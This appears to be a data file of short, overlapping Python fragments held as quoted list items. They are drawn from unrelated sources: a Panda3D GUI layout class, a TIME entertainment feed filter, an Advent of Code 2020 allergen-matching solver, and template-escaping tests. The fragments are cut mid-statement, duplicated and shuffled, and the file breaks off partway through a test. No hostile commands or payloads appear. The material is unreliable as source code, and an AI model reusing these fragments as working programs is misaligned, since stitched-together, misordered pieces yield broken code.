"0, 1), text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=None, parent=self.frmSinglePlayerCreateGame, command=base.messenger.send, extraArgs=[\"multiplayerPlayerInfo_cancel\"],",
"DGG from direct.gui.DirectFrame import DirectFrame from direct.gui.DirectLabel import DirectLabel from",
"pos=LPoint3f(0.2, 0, 0.005), scale=LVecBase3f(0.1, 0.1, 0.1), text='item1', cancelframe_frameSize=(-1, 1, -1,",
"parent=self.frmSinglePlayerCreateGame, ) self.optionPlayerClass.setTransparency(0) self.btnCancel = DirectButton( hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(0.325,",
"item0_text_pos=(0, 0), item0_text_fg=LVecBase4f(0, 0, 0, 1), item0_text_bg=LVecBase4f(0, 0, 0, 0),",
"DirectLabel( frameColor=(0.8, 0.8, 0.8, 0.0), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.28, 0,",
"frameColor=(0.8, 0.8, 0.8, 0.0), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(0, 0, 0.45),",
"1), text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=None, parent=self.frmSinglePlayerCreateGame, ) self.pg5219.setTransparency(0) self.optionPlayerClass",
"popupMarker_relief=2, popupMarker_scale=LVecBase3f(0.4, 0.4, 0.4), popupMenu_frameSize=(0, 2.3375001400709152, -0.862500011920929, 0), popupMenu_hpr=LVecBase3f(0, 0,",
"hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.28, 0, -0.1), scale=LVecBase3f(0.1, 0.1, 0.1), text='Health',",
"from panda3d.core import ( LPoint3f, LVecBase3f, LVecBase4f, TextNode ) class",
"parent=self.frmPlayerInfo, ) self.lblInfoHeader.setTransparency(0) self.frmImageHero = DirectFrame( frameColor=(1, 1, 1, 1),",
") self.lblHealthValue.setTransparency(0) self.lblAttackValue = DirectLabel( frameColor=(0.8, 0.8, 0.8, 0.0), hpr=LVecBase3f(0,",
"hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.425, 0, 0), relief=5, parent=self.frmMain, ) self.frmSinglePlayerCreateGame.setTransparency(0)",
"text_wordwrap=None, parent=self.frmPlayerInfo, ) self.lblHealth.setTransparency(0) self.lblAttack = DirectLabel( frameColor=(0.8, 0.8, 0.8,",
"import DirectGuiGlobals as DGG from direct.gui.DirectFrame import DirectFrame from direct.gui.DirectLabel",
"item0_text_align=TextNode.A_left, item0_text_scale=(1, 1), item0_text_pos=(0, 0), item0_text_fg=LVecBase4f(0, 0, 0, 1), item0_text_bg=LVecBase4f(0,",
"image_pos=LPoint3f(0, 0, 0), parent=self.frmPlayerInfo, ) self.frmImageHero.setTransparency(1) self.lblClassDescription = DirectLabel( frameColor=(0.8,",
"0, 0), relief=5, parent=self.frmMain, ) self.frmSinglePlayerCreateGame.setTransparency(0) self.pg703 = DirectLabel( hpr=LVecBase3f(0,",
"text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=None, parent=self.frmPlayerInfo, ) self.lblAttackValue.setTransparency(0) def show(self):",
"text='item1', cancelframe_frameSize=(-1, 1, -1, 1), cancelframe_hpr=LVecBase3f(0, 0, 0), cancelframe_pos=LPoint3f(0, 0,",
"0.1, 0.1), text='Health', text_align=TextNode.A_center, text_scale=(0.7, 0.7), text_pos=(0, 0), text_fg=LVecBase4f(0, 0,",
"pos=LPoint3f(-0.275, 0, -0.17), scale=LVecBase3f(0.1, 0.1, 0.1), text='7', text_align=TextNode.A_center, text_scale=(0.6, 0.6),",
"0.0), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.275, 0, -0.17), scale=LVecBase3f(0.1, 0.1, 0.1),",
"0, 0, 0), text_wordwrap=None, parent=self.frmSinglePlayerCreateGame, ) self.pg703.setTransparency(0) self.pg13803 = DirectButton(",
"DirectLabel( frameColor=(0.8, 0.8, 0.8, 0.0), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.275, 0,",
"0.1, 0.1), text='Cancel', text_align=TextNode.A_center, text_scale=(1, 1), text_pos=(0, 0), text_fg=LVecBase4f(0, 0,",
"1, 1.1638), image_pos=LPoint3f(0, 0, 0), parent=rootParent, ) self.frmMain.setTransparency(0) self.frmSinglePlayerCreateGame =",
"LPoint3f, LVecBase3f, LVecBase4f, TextNode ) class GUI: def __init__(self, rootParent=None):",
"0.8, 0.0), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(0, 0, 0.45), scale=LVecBase3f(0.1, 0.1,",
"= DirectOptionMenu( items=['item1'], frameSize=(0.07500000298023224, 3.012500149011612, -0.11250001192092896, 0.75), hpr=LVecBase3f(0, 0, 0),",
"Designer from direct.gui import DirectGuiGlobals as DGG from direct.gui.DirectFrame import",
"DirectButton( hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.35, 0, -0.45), scale=LVecBase3f(0.1, 0.1, 0.1),",
"0.8, 0.8, 0.0), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.28, 0, -0.1), scale=LVecBase3f(0.1,",
"0.2), hpr=LVecBase3f(0, 0, 0), image='/home/fireclaw/workspace/Ankandora/AnkandoraLight/design/guiGraphics/heroArcher.png', pos=LPoint3f(-0.275, 0, 0.195), image_scale=LVecBase3f(0.15, 1,"
] |
[
"entries): matches = list(filter( lambda x: any(list(map( lambda y: y.term",
"x: STRINGIFY(x, 'TIME'), matches))) def TIME(): pub_today = FROM_FEED_PUBLISHED_TODAY('https://feeds2.feedburner.com/time/entertainment') return",
"if len(matches) == 0: return \"\" return \"<h2>TIME {} -",
"y.term == tag, x.tags ))), entries )) if len(matches) ==",
"\\ \"\".join(list(map(lambda x: STRINGIFY(x, 'TIME'), matches))) def TIME(): pub_today =",
"0: return \"\" return \"<h2>TIME {} - {} results</h2>\".format(tag, len(matches))",
"TIME(): pub_today = FROM_FEED_PUBLISHED_TODAY('https://feeds2.feedburner.com/time/entertainment') return filter_by_tag('movies', pub_today) + \\ filter_by_tag('Television',",
"filter_by_tag(tag, entries): matches = list(filter( lambda x: any(list(map( lambda y:",
"STRINGIFY def filter_by_tag(tag, entries): matches = list(filter( lambda x: any(list(map(",
"+ \\ \"\".join(list(map(lambda x: STRINGIFY(x, 'TIME'), matches))) def TIME(): pub_today",
"y: y.term == tag, x.tags ))), entries )) if len(matches)",
"\"\" return \"<h2>TIME {} - {} results</h2>\".format(tag, len(matches)) + \\",
"\"\".join(list(map(lambda x: STRINGIFY(x, 'TIME'), matches))) def TIME(): pub_today = FROM_FEED_PUBLISHED_TODAY('https://feeds2.feedburner.com/time/entertainment')",
"))), entries )) if len(matches) == 0: return \"\" return",
"\"<h2>TIME {} - {} results</h2>\".format(tag, len(matches)) + \\ \"\".join(list(map(lambda x:",
")) if len(matches) == 0: return \"\" return \"<h2>TIME {}",
"x.tags ))), entries )) if len(matches) == 0: return \"\"",
"- {} results</h2>\".format(tag, len(matches)) + \\ \"\".join(list(map(lambda x: STRINGIFY(x, 'TIME'),",
". import FROM_FEED_PUBLISHED_TODAY, STRINGIFY def filter_by_tag(tag, entries): matches = list(filter(",
"tag, x.tags ))), entries )) if len(matches) == 0: return",
"results</h2>\".format(tag, len(matches)) + \\ \"\".join(list(map(lambda x: STRINGIFY(x, 'TIME'), matches))) def",
"len(matches)) + \\ \"\".join(list(map(lambda x: STRINGIFY(x, 'TIME'), matches))) def TIME():",
"{} results</h2>\".format(tag, len(matches)) + \\ \"\".join(list(map(lambda x: STRINGIFY(x, 'TIME'), matches)))",
"= list(filter( lambda x: any(list(map( lambda y: y.term == tag,",
"pub_today = FROM_FEED_PUBLISHED_TODAY('https://feeds2.feedburner.com/time/entertainment') return filter_by_tag('movies', pub_today) + \\ filter_by_tag('Television', pub_today)",
"matches = list(filter( lambda x: any(list(map( lambda y: y.term ==",
"list(filter( lambda x: any(list(map( lambda y: y.term == tag, x.tags",
"matches))) def TIME(): pub_today = FROM_FEED_PUBLISHED_TODAY('https://feeds2.feedburner.com/time/entertainment') return filter_by_tag('movies', pub_today) +",
"len(matches) == 0: return \"\" return \"<h2>TIME {} - {}",
"return \"\" return \"<h2>TIME {} - {} results</h2>\".format(tag, len(matches)) +",
"entries )) if len(matches) == 0: return \"\" return \"<h2>TIME",
"lambda x: any(list(map( lambda y: y.term == tag, x.tags ))),",
"{} - {} results</h2>\".format(tag, len(matches)) + \\ \"\".join(list(map(lambda x: STRINGIFY(x,",
"== tag, x.tags ))), entries )) if len(matches) == 0:",
"== 0: return \"\" return \"<h2>TIME {} - {} results</h2>\".format(tag,",
"FROM_FEED_PUBLISHED_TODAY, STRINGIFY def filter_by_tag(tag, entries): matches = list(filter( lambda x:",
"from . import FROM_FEED_PUBLISHED_TODAY, STRINGIFY def filter_by_tag(tag, entries): matches =",
"x: any(list(map( lambda y: y.term == tag, x.tags ))), entries",
"def TIME(): pub_today = FROM_FEED_PUBLISHED_TODAY('https://feeds2.feedburner.com/time/entertainment') return filter_by_tag('movies', pub_today) + \\",
"'TIME'), matches))) def TIME(): pub_today = FROM_FEED_PUBLISHED_TODAY('https://feeds2.feedburner.com/time/entertainment') return filter_by_tag('movies', pub_today)",
"STRINGIFY(x, 'TIME'), matches))) def TIME(): pub_today = FROM_FEED_PUBLISHED_TODAY('https://feeds2.feedburner.com/time/entertainment') return filter_by_tag('movies',",
"lambda y: y.term == tag, x.tags ))), entries )) if",
"any(list(map( lambda y: y.term == tag, x.tags ))), entries ))",
"import FROM_FEED_PUBLISHED_TODAY, STRINGIFY def filter_by_tag(tag, entries): matches = list(filter( lambda",
"return \"<h2>TIME {} - {} results</h2>\".format(tag, len(matches)) + \\ \"\".join(list(map(lambda",
"def filter_by_tag(tag, entries): matches = list(filter( lambda x: any(list(map( lambda"
] |
[
"= [] # map strings to allergens for entry in",
"input_file: input_data = input_file.read().strip().split('\\n') def part1(input_data): \"\"\" >>> part1(open(os.path.join(os.path.dirname(__file__), \"test_part1.txt\"),",
"\"\"\" >>> part2(open(os.path.join(os.path.dirname(__file__), \"test_part1.txt\"), 'r').read().strip().split('\\\\n')) 'mxmxvkd,sqjhc,fvjkl' \"\"\" # dict['allergen'] =",
"x[0]) return \",\".join([x[1] for x in assigned_allergens]) if __name__ ==",
"[] # map strings to allergens for entry in input_data:",
"'): if allergen not in allergens: allergens[allergen] = contents else:",
"not in ingredients_with_allergens, ingredients))) return len(list(filter(lambda i: i not in",
"x]) # print(list(filter(lambda i: i not in ingredients_with_allergens, ingredients))) return",
"allergens = {} ingredients = [] # map strings to",
"allergens[allergen] = [ingredient for ingredient in contents if ingredient in",
"in allergens[allergen]] # print(allergens) # print(ingredients) ingredients_with_allergens = set([y for",
"= re.compile(r'^([a-z ]+) \\(contains ([a-z, ]*)\\)$') with open(os.path.join(os.path.dirname(__file__), \"input.txt\"), 'r')",
"allergens[allergen] = list(contents) else: # only keep already added ingredients",
"entry in input_data: r = re_entry.match(entry) if not r: raise",
"only keep already added ingredients allergens[allergen] = [ingredient for ingredient",
"in contents if ingredient in allergens[allergen]] # print(allergens) # (allergen,",
"assigned_allergens.sort(key=lambda x: x[0]) return \",\".join([x[1] for x in assigned_allergens]) if",
"strings to allergens for entry in input_data: r = re_entry.match(entry)",
"# print(ingredients) ingredients_with_allergens = set([y for x in allergens.values() for",
"allergens[allergen2]: allergens[allergen2].remove(ingredient) assigned_allergens.sort(key=lambda x: x[0]) return \",\".join([x[1] for x in",
"for ingredient in contents if ingredient in allergens[allergen]] # print(allergens)",
"while sum([len(ingreds) for ingreds in allergens.values()]) > 0: for allergen",
"[ingredient for ingredient in contents if ingredient in allergens[allergen]] #",
"set([y for x in allergens.values() for y in x]) #",
"x in assigned_allergens]) if __name__ == \"__main__\": doctest.testmod() print(\"Part One:",
"# only keep already added ingredients allergens[allergen] = [ingredient for",
"0: for allergen in allergens: if len(allergens[allergen]) == 1: ingredient",
"import os import doctest import re re_entry = re.compile(r'^([a-z ]+)",
"x in allergens.values() for y in x]) # print(list(filter(lambda i:",
"# print(allergens) # print(ingredients) ingredients_with_allergens = set([y for x in",
"> 0: for allergen in allergens: if len(allergens[allergen]) == 1:",
"'r') as input_file: input_data = input_file.read().strip().split('\\n') def part1(input_data): \"\"\" >>>",
"len(list(filter(lambda i: i not in ingredients_with_allergens, ingredients))) def part2(input_data): \"\"\"",
"assigned_allergens.append((allergen, ingredient)) for allergen2 in allergens: if ingredient in allergens[allergen2]:",
"if __name__ == \"__main__\": doctest.testmod() print(\"Part One: {}\".format(part1(input_data))) print(\"Part Two:",
"raise RuntimeError(\"\") contents = set(r.group(1).split(' ')) ingredients.extend(contents) for allergen in",
"open(os.path.join(os.path.dirname(__file__), \"input.txt\"), 'r') as input_file: input_data = input_file.read().strip().split('\\n') def part1(input_data):",
"import doctest import re re_entry = re.compile(r'^([a-z ]+) \\(contains ([a-z,",
"input_file.read().strip().split('\\n') def part1(input_data): \"\"\" >>> part1(open(os.path.join(os.path.dirname(__file__), \"test_part1.txt\"), 'r').read().strip().split('\\\\n')) 5 \"\"\"",
"21 # Author: irobin591 import os import doctest import re",
"allergen not in allergens: allergens[allergen] = list(contents) else: # only",
"allergens[allergen][0] assigned_allergens.append((allergen, ingredient)) for allergen2 in allergens: if ingredient in",
"assigned_allergens = [] while sum([len(ingreds) for ingreds in allergens.values()]) >",
"if ingredient in allergens[allergen2]: allergens[allergen2].remove(ingredient) assigned_allergens.sort(key=lambda x: x[0]) return \",\".join([x[1]",
">>> part1(open(os.path.join(os.path.dirname(__file__), \"test_part1.txt\"), 'r').read().strip().split('\\\\n')) 5 \"\"\" # dict['allergen'] = ['asdfa',",
"['asdfa', 'agbsfb'] allergens = {} ingredients = [] # map",
"assigned_allergens]) if __name__ == \"__main__\": doctest.testmod() print(\"Part One: {}\".format(part1(input_data))) print(\"Part",
"re_entry = re.compile(r'^([a-z ]+) \\(contains ([a-z, ]*)\\)$') with open(os.path.join(os.path.dirname(__file__), \"input.txt\"),",
"__name__ == \"__main__\": doctest.testmod() print(\"Part One: {}\".format(part1(input_data))) print(\"Part Two: {}\".format(part2(input_data)))",
"for x in allergens.values() for y in x]) # print(list(filter(lambda",
"([a-z, ]*)\\)$') with open(os.path.join(os.path.dirname(__file__), \"input.txt\"), 'r') as input_file: input_data =",
"# print(list(filter(lambda i: i not in ingredients_with_allergens, ingredients))) return len(list(filter(lambda",
"list(contents) else: # only keep already added ingredients allergens[allergen] =",
"= re_entry.match(entry) if not r: raise RuntimeError(\"\") contents = set(r.group(1).split('",
"contents if ingredient in allergens[allergen]] # print(allergens) # (allergen, ingredient)",
"y in x]) # print(list(filter(lambda i: i not in ingredients_with_allergens,",
"allergen not in allergens: allergens[allergen] = contents else: # only",
"i: i not in ingredients_with_allergens, ingredients))) def part2(input_data): \"\"\" >>>",
"for y in x]) # print(list(filter(lambda i: i not in",
"== \"__main__\": doctest.testmod() print(\"Part One: {}\".format(part1(input_data))) print(\"Part Two: {}\".format(part2(input_data))) pass",
"else: # only keep already added ingredients allergens[allergen] = [ingredient",
"= [ingredient for ingredient in contents if ingredient in allergens[allergen]]",
"ingredients))) return len(list(filter(lambda i: i not in ingredients_with_allergens, ingredients))) def",
"'): if allergen not in allergens: allergens[allergen] = list(contents) else:",
"# print(allergens) # (allergen, ingredient) assigned_allergens = [] while sum([len(ingreds)",
"ingredients_with_allergens = set([y for x in allergens.values() for y in",
"in assigned_allergens]) if __name__ == \"__main__\": doctest.testmod() print(\"Part One: {}\".format(part1(input_data)))",
"input_data = input_file.read().strip().split('\\n') def part1(input_data): \"\"\" >>> part1(open(os.path.join(os.path.dirname(__file__), \"test_part1.txt\"), 'r').read().strip().split('\\\\n'))",
"allergens.values() for y in x]) # print(list(filter(lambda i: i not",
"for allergen2 in allergens: if ingredient in allergens[allergen2]: allergens[allergen2].remove(ingredient) assigned_allergens.sort(key=lambda",
"in allergens: if len(allergens[allergen]) == 1: ingredient = allergens[allergen][0] assigned_allergens.append((allergen,",
"r.group(2).split(', '): if allergen not in allergens: allergens[allergen] = list(contents)",
"allergen2 in allergens: if ingredient in allergens[allergen2]: allergens[allergen2].remove(ingredient) assigned_allergens.sort(key=lambda x:",
"in allergens: allergens[allergen] = contents else: # only keep already",
"allergens: if ingredient in allergens[allergen2]: allergens[allergen2].remove(ingredient) assigned_allergens.sort(key=lambda x: x[0]) return",
"\\(contains ([a-z, ]*)\\)$') with open(os.path.join(os.path.dirname(__file__), \"input.txt\"), 'r') as input_file: input_data",
"allergens: allergens[allergen] = contents else: # only keep already added",
"def part2(input_data): \"\"\" >>> part2(open(os.path.join(os.path.dirname(__file__), \"test_part1.txt\"), 'r').read().strip().split('\\\\n')) 'mxmxvkd,sqjhc,fvjkl' \"\"\" #",
"\"test_part1.txt\"), 'r').read().strip().split('\\\\n')) 5 \"\"\" # dict['allergen'] = ['asdfa', 'agbsfb'] allergens",
"= [] while sum([len(ingreds) for ingreds in allergens.values()]) > 0:",
"in allergens[allergen]] # print(allergens) # (allergen, ingredient) assigned_allergens = []",
"]*)\\)$') with open(os.path.join(os.path.dirname(__file__), \"input.txt\"), 'r') as input_file: input_data = input_file.read().strip().split('\\n')",
"contents = set(r.group(1).split(' ')) ingredients.extend(contents) for allergen in r.group(2).split(', '):",
"2020 # Day 21 # Author: irobin591 import os import",
"not in allergens: allergens[allergen] = list(contents) else: # only keep",
"os import doctest import re re_entry = re.compile(r'^([a-z ]+) \\(contains",
"for allergen in r.group(2).split(', '): if allergen not in allergens:",
"as input_file: input_data = input_file.read().strip().split('\\n') def part1(input_data): \"\"\" >>> part1(open(os.path.join(os.path.dirname(__file__),",
"allergens[allergen] = contents else: # only keep already added ingredients",
"in contents if ingredient in allergens[allergen]] # print(allergens) # print(ingredients)",
"Day 21 # Author: irobin591 import os import doctest import",
"Advent of Code 2020 # Day 21 # Author: irobin591",
"if not r: raise RuntimeError(\"\") contents = set(r.group(1).split(' ')) ingredients.extend(contents)",
"allergens: if len(allergens[allergen]) == 1: ingredient = allergens[allergen][0] assigned_allergens.append((allergen, ingredient))",
"in allergens: if ingredient in allergens[allergen2]: allergens[allergen2].remove(ingredient) assigned_allergens.sort(key=lambda x: x[0])",
"ingredient = allergens[allergen][0] assigned_allergens.append((allergen, ingredient)) for allergen2 in allergens: if",
"allergens for entry in input_data: r = re_entry.match(entry) if not",
"allergens[allergen]] # print(allergens) # (allergen, ingredient) assigned_allergens = [] while",
"contents else: # only keep already added ingredients allergens[allergen] =",
"ingredient in contents if ingredient in allergens[allergen]] # print(allergens) #",
"if allergen not in allergens: allergens[allergen] = list(contents) else: #",
"keep already added ingredients allergens[allergen] = [ingredient for ingredient in",
"in ingredients_with_allergens, ingredients))) return len(list(filter(lambda i: i not in ingredients_with_allergens,",
"\"test_part1.txt\"), 'r').read().strip().split('\\\\n')) 'mxmxvkd,sqjhc,fvjkl' \"\"\" # dict['allergen'] = ['asdfa', 'agbsfb'] allergens",
"print(allergens) # (allergen, ingredient) assigned_allergens = [] while sum([len(ingreds) for",
"in r.group(2).split(', '): if allergen not in allergens: allergens[allergen] =",
"dict['allergen'] = ['asdfa', 'agbsfb'] allergens = {} ingredients = []",
"map strings to allergens for entry in input_data: r =",
"in input_data: r = re_entry.match(entry) if not r: raise RuntimeError(\"\")",
"ingredients))) def part2(input_data): \"\"\" >>> part2(open(os.path.join(os.path.dirname(__file__), \"test_part1.txt\"), 'r').read().strip().split('\\\\n')) 'mxmxvkd,sqjhc,fvjkl' \"\"\"",
"part2(input_data): \"\"\" >>> part2(open(os.path.join(os.path.dirname(__file__), \"test_part1.txt\"), 'r').read().strip().split('\\\\n')) 'mxmxvkd,sqjhc,fvjkl' \"\"\" # dict['allergen']",
"ingredients allergens[allergen] = [ingredient for ingredient in contents if ingredient",
"doctest import re re_entry = re.compile(r'^([a-z ]+) \\(contains ([a-z, ]*)\\)$')",
"print(allergens) # print(ingredients) ingredients_with_allergens = set([y for x in allergens.values()",
"set(r.group(1).split(' ')) ingredients.extend(contents) for allergen in r.group(2).split(', '): if allergen",
"print(ingredients) ingredients_with_allergens = set([y for x in allergens.values() for y",
"return len(list(filter(lambda i: i not in ingredients_with_allergens, ingredients))) def part2(input_data):",
"r = re_entry.match(entry) if not r: raise RuntimeError(\"\") contents =",
"part1(open(os.path.join(os.path.dirname(__file__), \"test_part1.txt\"), 'r').read().strip().split('\\\\n')) 5 \"\"\" # dict['allergen'] = ['asdfa', 'agbsfb']",
"= {} ingredients = [] # map strings to allergens",
"\"\"\" >>> part1(open(os.path.join(os.path.dirname(__file__), \"test_part1.txt\"), 'r').read().strip().split('\\\\n')) 5 \"\"\" # dict['allergen'] =",
"part1(input_data): \"\"\" >>> part1(open(os.path.join(os.path.dirname(__file__), \"test_part1.txt\"), 'r').read().strip().split('\\\\n')) 5 \"\"\" # dict['allergen']",
"Code 2020 # Day 21 # Author: irobin591 import os",
"# Day 21 # Author: irobin591 import os import doctest",
"ingredient in allergens[allergen]] # print(allergens) # print(ingredients) ingredients_with_allergens = set([y",
"not r: raise RuntimeError(\"\") contents = set(r.group(1).split(' ')) ingredients.extend(contents) for",
"allergens: allergens[allergen] = list(contents) else: # only keep already added",
"ingreds in allergens.values()]) > 0: for allergen in allergens: if",
"= contents else: # only keep already added ingredients allergens[allergen]",
"ingredients.extend(contents) for allergen in r.group(2).split(', '): if allergen not in",
"i not in ingredients_with_allergens, ingredients))) def part2(input_data): \"\"\" >>> part2(open(os.path.join(os.path.dirname(__file__),",
"i not in ingredients_with_allergens, ingredients))) return len(list(filter(lambda i: i not",
"for ingreds in allergens.values()]) > 0: for allergen in allergens:",
"in ingredients_with_allergens, ingredients))) def part2(input_data): \"\"\" >>> part2(open(os.path.join(os.path.dirname(__file__), \"test_part1.txt\"), 'r').read().strip().split('\\\\n'))",
"1: ingredient = allergens[allergen][0] assigned_allergens.append((allergen, ingredient)) for allergen2 in allergens:",
"# Advent of Code 2020 # Day 21 # Author:",
"len(allergens[allergen]) == 1: ingredient = allergens[allergen][0] assigned_allergens.append((allergen, ingredient)) for allergen2",
"= ['asdfa', 'agbsfb'] allergens = {} ingredients = [] #",
"with open(os.path.join(os.path.dirname(__file__), \"input.txt\"), 'r') as input_file: input_data = input_file.read().strip().split('\\n') def",
"# Author: irobin591 import os import doctest import re re_entry",
"not in ingredients_with_allergens, ingredients))) def part2(input_data): \"\"\" >>> part2(open(os.path.join(os.path.dirname(__file__), \"test_part1.txt\"),",
"{} ingredients = [] # map strings to allergens for",
"'agbsfb'] allergens = {} ingredients = [] # map strings",
"added ingredients allergens[allergen] = [ingredient for ingredient in contents if",
"if len(allergens[allergen]) == 1: ingredient = allergens[allergen][0] assigned_allergens.append((allergen, ingredient)) for",
"allergen in allergens: if len(allergens[allergen]) == 1: ingredient = allergens[allergen][0]",
"if ingredient in allergens[allergen]] # print(allergens) # (allergen, ingredient) assigned_allergens",
"in allergens.values()]) > 0: for allergen in allergens: if len(allergens[allergen])",
"')) ingredients.extend(contents) for allergen in r.group(2).split(', '): if allergen not",
"if ingredient in allergens[allergen]] # print(allergens) # print(ingredients) ingredients_with_allergens =",
"return \",\".join([x[1] for x in assigned_allergens]) if __name__ == \"__main__\":",
"= allergens[allergen][0] assigned_allergens.append((allergen, ingredient)) for allergen2 in allergens: if ingredient",
"part2(open(os.path.join(os.path.dirname(__file__), \"test_part1.txt\"), 'r').read().strip().split('\\\\n')) 'mxmxvkd,sqjhc,fvjkl' \"\"\" # dict['allergen'] = ['asdfa', 'agbsfb']",
"\"input.txt\"), 'r') as input_file: input_data = input_file.read().strip().split('\\n') def part1(input_data): \"\"\"",
"ingredient)) for allergen2 in allergens: if ingredient in allergens[allergen2]: allergens[allergen2].remove(ingredient)",
"for x in assigned_allergens]) if __name__ == \"__main__\": doctest.testmod() print(\"Part",
"Author: irobin591 import os import doctest import re re_entry =",
"ingredients = [] # map strings to allergens for entry",
"r.group(2).split(', '): if allergen not in allergens: allergens[allergen] = contents",
"def part1(input_data): \"\"\" >>> part1(open(os.path.join(os.path.dirname(__file__), \"test_part1.txt\"), 'r').read().strip().split('\\\\n')) 5 \"\"\" #",
"allergens.values()]) > 0: for allergen in allergens: if len(allergens[allergen]) ==",
"irobin591 import os import doctest import re re_entry = re.compile(r'^([a-z",
"re_entry.match(entry) if not r: raise RuntimeError(\"\") contents = set(r.group(1).split(' '))",
"[] while sum([len(ingreds) for ingreds in allergens.values()]) > 0: for",
"to allergens for entry in input_data: r = re_entry.match(entry) if",
">>> part2(open(os.path.join(os.path.dirname(__file__), \"test_part1.txt\"), 'r').read().strip().split('\\\\n')) 'mxmxvkd,sqjhc,fvjkl' \"\"\" # dict['allergen'] = ['asdfa',",
"= input_file.read().strip().split('\\n') def part1(input_data): \"\"\" >>> part1(open(os.path.join(os.path.dirname(__file__), \"test_part1.txt\"), 'r').read().strip().split('\\\\n')) 5",
"allergens[allergen]] # print(allergens) # print(ingredients) ingredients_with_allergens = set([y for x",
"r: raise RuntimeError(\"\") contents = set(r.group(1).split(' ')) ingredients.extend(contents) for allergen",
"for entry in input_data: r = re_entry.match(entry) if not r:",
"if allergen not in allergens: allergens[allergen] = contents else: #",
"print(list(filter(lambda i: i not in ingredients_with_allergens, ingredients))) return len(list(filter(lambda i:",
"allergen in r.group(2).split(', '): if allergen not in allergens: allergens[allergen]",
"ingredient in allergens[allergen]] # print(allergens) # (allergen, ingredient) assigned_allergens =",
"RuntimeError(\"\") contents = set(r.group(1).split(' ')) ingredients.extend(contents) for allergen in r.group(2).split(',",
"i: i not in ingredients_with_allergens, ingredients))) return len(list(filter(lambda i: i",
"already added ingredients allergens[allergen] = [ingredient for ingredient in contents",
"ingredients_with_allergens, ingredients))) return len(list(filter(lambda i: i not in ingredients_with_allergens, ingredients)))",
"sum([len(ingreds) for ingreds in allergens.values()]) > 0: for allergen in",
"= set(r.group(1).split(' ')) ingredients.extend(contents) for allergen in r.group(2).split(', '): if",
"(allergen, ingredient) assigned_allergens = [] while sum([len(ingreds) for ingreds in",
"]+) \\(contains ([a-z, ]*)\\)$') with open(os.path.join(os.path.dirname(__file__), \"input.txt\"), 'r') as input_file:",
"allergens[allergen2].remove(ingredient) assigned_allergens.sort(key=lambda x: x[0]) return \",\".join([x[1] for x in assigned_allergens])",
"= list(contents) else: # only keep already added ingredients allergens[allergen]",
"ingredient in allergens[allergen2]: allergens[allergen2].remove(ingredient) assigned_allergens.sort(key=lambda x: x[0]) return \",\".join([x[1] for",
"in allergens[allergen2]: allergens[allergen2].remove(ingredient) assigned_allergens.sort(key=lambda x: x[0]) return \",\".join([x[1] for x",
"ingredients_with_allergens, ingredients))) def part2(input_data): \"\"\" >>> part2(open(os.path.join(os.path.dirname(__file__), \"test_part1.txt\"), 'r').read().strip().split('\\\\n')) 'mxmxvkd,sqjhc,fvjkl'",
"input_data: r = re_entry.match(entry) if not r: raise RuntimeError(\"\") contents",
"in allergens: allergens[allergen] = list(contents) else: # only keep already",
"contents if ingredient in allergens[allergen]] # print(allergens) # print(ingredients) ingredients_with_allergens",
"ingredient) assigned_allergens = [] while sum([len(ingreds) for ingreds in allergens.values()])",
"# map strings to allergens for entry in input_data: r",
"\"\"\" # dict['allergen'] = ['asdfa', 'agbsfb'] allergens = {} ingredients",
"# dict['allergen'] = ['asdfa', 'agbsfb'] allergens = {} ingredients =",
"in allergens.values() for y in x]) # print(list(filter(lambda i: i",
"== 1: ingredient = allergens[allergen][0] assigned_allergens.append((allergen, ingredient)) for allergen2 in",
"'mxmxvkd,sqjhc,fvjkl' \"\"\" # dict['allergen'] = ['asdfa', 'agbsfb'] allergens = {}",
"x: x[0]) return \",\".join([x[1] for x in assigned_allergens]) if __name__",
"import re re_entry = re.compile(r'^([a-z ]+) \\(contains ([a-z, ]*)\\)$') with",
"re re_entry = re.compile(r'^([a-z ]+) \\(contains ([a-z, ]*)\\)$') with open(os.path.join(os.path.dirname(__file__),",
"'r').read().strip().split('\\\\n')) 5 \"\"\" # dict['allergen'] = ['asdfa', 'agbsfb'] allergens =",
"= set([y for x in allergens.values() for y in x])",
"for allergen in allergens: if len(allergens[allergen]) == 1: ingredient =",
"'r').read().strip().split('\\\\n')) 'mxmxvkd,sqjhc,fvjkl' \"\"\" # dict['allergen'] = ['asdfa', 'agbsfb'] allergens =",
"\",\".join([x[1] for x in assigned_allergens]) if __name__ == \"__main__\": doctest.testmod()",
"# (allergen, ingredient) assigned_allergens = [] while sum([len(ingreds) for ingreds",
"re.compile(r'^([a-z ]+) \\(contains ([a-z, ]*)\\)$') with open(os.path.join(os.path.dirname(__file__), \"input.txt\"), 'r') as",
"not in allergens: allergens[allergen] = contents else: # only keep",
"in x]) # print(list(filter(lambda i: i not in ingredients_with_allergens, ingredients)))",
"5 \"\"\" # dict['allergen'] = ['asdfa', 'agbsfb'] allergens = {}",
"of Code 2020 # Day 21 # Author: irobin591 import"
] |
[
"= tmpdir.join(\"document.md\") template['path'] = tmpdir.join(\"template.yaml\") # Prepare file contents doc['metadata']",
"doc['text'] = 'Hello {{place}}' template['content'] = \"place: world ' universe\"",
"test_escape_singlequote(tmpdir): # Define empty dictionaries doc = {} template =",
"output == \"Hello world > universe\\n\" def test_escape_ampersand(tmpdir): # Define",
"== \"Hello world > universe\\n\" def test_escape_ampersand(tmpdir): # Define empty",
"Test output assert output == \"Hello world ' universe\\n\" def",
"= \"place: world & universe\" # Write contents to files",
"& universe\" # Write contents to files with open(doc['path'].strpath, \"a\")",
"template['content'] = \"place: world & universe\" # Write contents to",
"> universe\\n\" def test_escape_ampersand(tmpdir): # Define empty dictionaries doc =",
"def test_escape_singlequote(tmpdir): # Define empty dictionaries doc = {} template",
